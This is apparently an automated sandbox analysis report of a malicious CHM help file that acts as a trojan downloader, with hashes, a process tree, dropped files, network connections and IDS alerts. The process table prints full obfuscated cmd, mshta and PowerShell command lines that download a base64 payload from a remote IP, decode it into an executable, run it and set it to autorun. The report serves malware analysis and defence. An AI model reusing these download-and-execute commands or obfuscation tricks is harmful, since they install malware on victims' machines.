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| File name: | Dopolnenie_k_prikazu.chm.z |
| Full analysis: | https://app.any.run/tasks/1b4341c0-a957-4e37-8df4-6af6ab69638b |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | November 15, 2018, 09:02:41 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-compress |
| File info: | compress'd data 16 bits |
| MD5: | 79C1EEDEB08158A8E80B90926A1A09F3 |
| SHA1: | A049013D90CD3C675016E5AACEA4729FFB2B648C |
| SHA256: | C2EF026CF58E29321CAA537F7A03DE658AE851E466F6B9E29A8BE794BAC27456 |
| SSDEEP: | 192:zcbWAlSMTl/XGrVJMBEBuHrwyfCmF8jgjCot:zc9SMT5XGRJVyt8Mt |
MALICIOUS
Application was dropped or rewritten from another process
- priprif.com (PID: 2796)
- pripriff.com (PID: 120)
- pripriff.com (PID: 2552)
- cmd.exe (PID: 3628)
- cmd.exe (PID: 3116)
- cmd.exe (PID: 3216)
- pripriff.com (PID: 3712)
- cmd.exe (PID: 2836)
- pripriff.com (PID: 4024)
- pripri.com (PID: 3968)
- cmd.exe (PID: 3356)
- priprif.com (PID: 2088)
Changes the autorun value in the registry
- pripri.com (PID: 3968)
SUSPICIOUS
Starts MSHTA.EXE for opening HTA or HTMLS files
- cmd.exe (PID: 3216)
- cmd.exe (PID: 2836)
Executable content was dropped or overwritten
- cmd.exe (PID: 3628)
- cmd.exe (PID: 3116)
- priprif.com (PID: 2088)
- pripri.com (PID: 3968)
Starts application with an unusual extension
- pripriff.com (PID: 2552)
- cmd.exe (PID: 3628)
- cmd.exe (PID: 3116)
- pripriff.com (PID: 4024)
- priprif.com (PID: 2088)
Starts CMD.EXE for commands execution
- mshta.exe (PID: 3736)
- hh.exe (PID: 3364)
- pripri.com (PID: 3968)
Reads Internet Cache Settings
- hh.exe (PID: 3364)
Reads internet explorer settings
- hh.exe (PID: 3364)
Starts itself from another location
- cmd.exe (PID: 3116)
Creates files in the user directory
- pripri.com (PID: 3968)
Creates files in the program directory
- cmd.exe (PID: 3356)
Uses SYSTEMINFO.EXE to read environment
- cmd.exe (PID: 3356)
INFO
Reads internet explorer settings
- mshta.exe (PID: 3736)
- mshta.exe (PID: 3460)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .z | | | UNIX Compressed data (100) |
|---|
Total processes
58
Monitored processes
18
Malicious processes
9
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3272 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Dopolnenie_k_prikazu.chm.z" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
| 3364 | "C:\Windows\hh.exe" C:\Users\admin\AppData\Local\Temp\Rar$DIa3272.9034\Dopolnenie_k_prikazu.chm | C:\Windows\hh.exe | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® HTML Help Executable Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3216 | "C:\Windows\System32\cmd.exe" ,/b,^, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/C,, st%ALLUSERSPROFILE:~8,1%rt msht%ALLUSERSPROFILE:~8,1% H%ALLUSERSPROFILE:~12,1%%ALLUSERSPROFILE:~12,1%p://146.0.72.139/li | C:\Windows\System32\cmd.exe | — | hh.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3736 | mshta Http://146.0.72.139/li | C:\Windows\system32\mshta.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 3628 | "C:\Windows\System32\cmd.exe" /c copy C:\\Windows\\System32\\cmd.exe C:\Users\admin\AppData\Local\Temp\\pripriff.com && C:\Users\admin\AppData\Local\Temp\\pripriff.com /c &Set skk= -Encoding&& Set ski= Byte && Set asidfjhfwssss=den -n%ALLUSERSPROFILE:~5,1%ninter&&Set asidfjhfwsss=-n%ALLUSERSPROFILE:~5,1%p -W hid&& Set asidfjhfwsssss=active -c (new-%ALLUSERSPROFILE:~5,1%bj&& Set asidfjhfwss=ect System.Net.WebClie&& Set par5=nt).D%ALLUSERSPROFILE:~5,1%wnl%ALLUSERSPROFILE:~5,1%&& Set asidfjhfwsssssssssssssss=adfile& copy C:\\Windows\\System32\\WiNDOWSPOWerShELl\\v1.0\\pOWErsheLl.ExE C:\Users\admin\AppData\Local\Temp\\priprif.com& C:\Users\admin\AppData\Local\Temp\\pripriff.com /c C:\Users\admin\AppData\Local\Temp\\priprif.com %asidfjhfwsss%%asidfjhfwssss%%asidfjhfwsssss%%asidfjhfwss%%par5%%asidfjhfwsssssssssssssss%('Ht^Tp://146.0.72.139/flk', 'C:\Users\admin\AppData\Local\Temp\\pripri.txt'); $sr=Get-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\pripri.txt; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\pripri.com $sv; C:\Users\admin\AppData\Local\Temp\\pripri.com; | C:\Windows\System32\cmd.exe | mshta.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 120 | C:\Users\admin\AppData\Local\Temp\\pripriff.com /c | C:\Users\admin\AppData\Local\Temp\pripriff.com | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2552 | C:\Users\admin\AppData\Local\Temp\\pripriff.com /c C:\Users\admin\AppData\Local\Temp\\priprif.com %asidfjhfwsss%%asidfjhfwssss%%asidfjhfwsssss%%asidfjhfwss%%par5%%asidfjhfwsssssssssssssss%('HtTp://146.0.72.139/flk', 'C:\Users\admin\AppData\Local\Temp\\pripri.txt'); $sr=Get-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\pripri.txt; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\pripri.com $sv; C:\Users\admin\AppData\Local\Temp\\pripri.com; | C:\Users\admin\AppData\Local\Temp\pripriff.com | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2796 | C:\Users\admin\AppData\Local\Temp\\priprif.com -nop -W hidden -noninteractive -c (new-object System.Net.WebClient).Downloadfile('HtTp://146.0.72.139/flk', 'C:\Users\admin\AppData\Local\Temp\\pripri.txt'); $sr=Get-Content -Encoding Byte C:\Users\admin\AppData\Local\Temp\\pripri.txt; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content -Encoding Byte C:\Users\admin\AppData\Local\Temp\\pripri.com $sv; C:\Users\admin\AppData\Local\Temp\\pripri.com; | C:\Users\admin\AppData\Local\Temp\priprif.com | pripriff.com | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3116 | "C:\Windows\System32\cmd.exe" /c copy C:\\Windows\\System32\\cmd.exe C:\Users\admin\AppData\Local\Temp\\pripriff.com && C:\Users\admin\AppData\Local\Temp\\pripriff.com /c &Set skk= -Encoding&& Set ski= Byte&& Set asidfjhfwssss=den -n%ALLUSERSPROFILE:~5,1%ninter&&Set asidfjhfwsss=-n%ALLUSERSPROFILE:~5,1%p -W hid&& Set asidfjhfwsssss=active -c (new-%ALLUSERSPROFILE:~5,1%bj&& Set asidfjhfwss=ect System.Net.WebClie&& Set par5=nt).D%ALLUSERSPROFILE:~5,1%wnl%ALLUSERSPROFILE:~5,1%&& Set asidfjhfwsssssssssssssss=adfile& copy C:\\Windows\\SYsWOW64\\WiNDOWSPOWerShELl\\v1.0\\pOWErSheLl.ExE C:\Users\admin\AppData\Local\Temp\\priprif.com& C:\Users\admin\AppData\Local\Temp\\pripriff.com /c C:\Users\admin\AppData\Local\Temp\\priprif.com %asidfjhfwsss%%asidfjhfwssss%%asidfjhfwsssss%%asidfjhfwss%%par5%%asidfjhfwsssssssssssssss%('Ht^Tp://146.0.72.139/flk', 'C:\Users\admin\AppData\Local\Temp\\pripri.txt');$sr=Get-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\pripri.txt; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\pripri.com $sv; C:\Users\admin\AppData\Local\Temp\\pripri.com; | C:\Windows\System32\cmd.exe | mshta.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3712 | C:\Users\admin\AppData\Local\Temp\\pripriff.com /c | C:\Users\admin\AppData\Local\Temp\pripriff.com | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
Total events
1 571
Read events
1 408
Write events
0
Delete events
0
Modification events
Executable files
5
Suspicious files
0
Text files
4
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3356 | cmd.exe | C:\ProgramData\INFOCONTENT.TXT | text | |
MD5:760957E0268AFC63EA511B994789189A | SHA256:BDD1D6139F8F3414F140A8AFE8C45E65F0CB03CC9A83F2F3AB74F65F67D21FDC | |||
| 3272 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3272.9034\Dopolnenie_k_prikazu.chm | chi | |
MD5:38303299C65EF84DFF0E4212FD5BB3BF | SHA256:1135813663BF9C747A1CCA7312AEF97D345D231DF5CDEB314CB8606017D26D86 | |||
| 2088 | priprif.com | C:\Users\admin\AppData\Local\Temp\pripri.com | executable | |
MD5:13CC98FCB654AC83CDA6D3EC9946FA9B | SHA256:0E0729B51709325688F2741E2D5C6B3F547901837D89C203CB8AA2985B5F0018 | |||
| 3736 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\li[1] | html | |
MD5:D0FA1AB050BEDE3522650FAA54BBAB2D | SHA256:9D10F123C6252C7DB2BE34176B5D76101286DBABC976AD9E0A2493D5D7559295 | |||
| 3364 | hh.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\start[1] | html | |
MD5:892AB312873E0A88AD45762072287FEC | SHA256:FABC64313E18FD66B44E418C2883FACBD5588A9D98BAF0DCC002E730D72EAD8D | |||
| 3968 | pripri.com | C:\Users\admin\AppData\Roaming\conhost.exe 1C9B74E8.exe | executable | |
MD5:13CC98FCB654AC83CDA6D3EC9946FA9B | SHA256:0E0729B51709325688F2741E2D5C6B3F547901837D89C203CB8AA2985B5F0018 | |||
| 2088 | priprif.com | C:\Users\admin\AppData\Local\Temp\pripri.txt | text | |
MD5:53F4A016A61040273478E1C3C10FF8A3 | SHA256:9FB4281BC5994209DCED167E4D34BFEDF3B8A6F882B1A7C92F30970DB5E30548 | |||
| 3116 | cmd.exe | C:\Users\admin\AppData\Local\Temp\pripriff.com | executable | |
MD5:AD7B9C14083B52BC532FBA5948342B98 | SHA256:17F746D82695FA9B35493B41859D39D786D32B23A9D2E00F4011DEC7A02402AE | |||
| 3628 | cmd.exe | C:\Users\admin\AppData\Local\Temp\pripriff.com | executable | |
MD5:AD7B9C14083B52BC532FBA5948342B98 | SHA256:17F746D82695FA9B35493B41859D39D786D32B23A9D2E00F4011DEC7A02402AE | |||
| 3628 | cmd.exe | C:\Users\admin\AppData\Local\Temp\priprif.com | executable | |
MD5:92F44E405DB16AC55D97E3BFE3B132FA | SHA256:6C05E11399B7E3C8ED31BAE72014CF249C144A8F4A2C54A758EB2E6FAD47AEC7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
4
DNS requests
0
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2088 | priprif.com | GET | 200 | 146.0.72.139:80 | http://146.0.72.139/flk | NL | text | 136 Kb | suspicious |
3736 | mshta.exe | GET | 200 | 146.0.72.139:80 | http://146.0.72.139/li | NL | html | 2.93 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3736 | mshta.exe | 146.0.72.139:80 | — | Hostkey B.v. | NL | suspicious |
2088 | priprif.com | 146.0.72.139:80 | — | Hostkey B.v. | NL | suspicious |
2796 | priprif.com | 146.0.72.139:80 | — | Hostkey B.v. | NL | suspicious |
3460 | mshta.exe | 146.0.72.139:80 | — | Hostkey B.v. | NL | suspicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
2088 | priprif.com | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |
2088 | priprif.com | A Network Trojan was detected | ET TROJAN Windows executable base64 encoded |
2088 | priprif.com | Misc activity | POLICY [PTsecurity] Executable base64 Payload |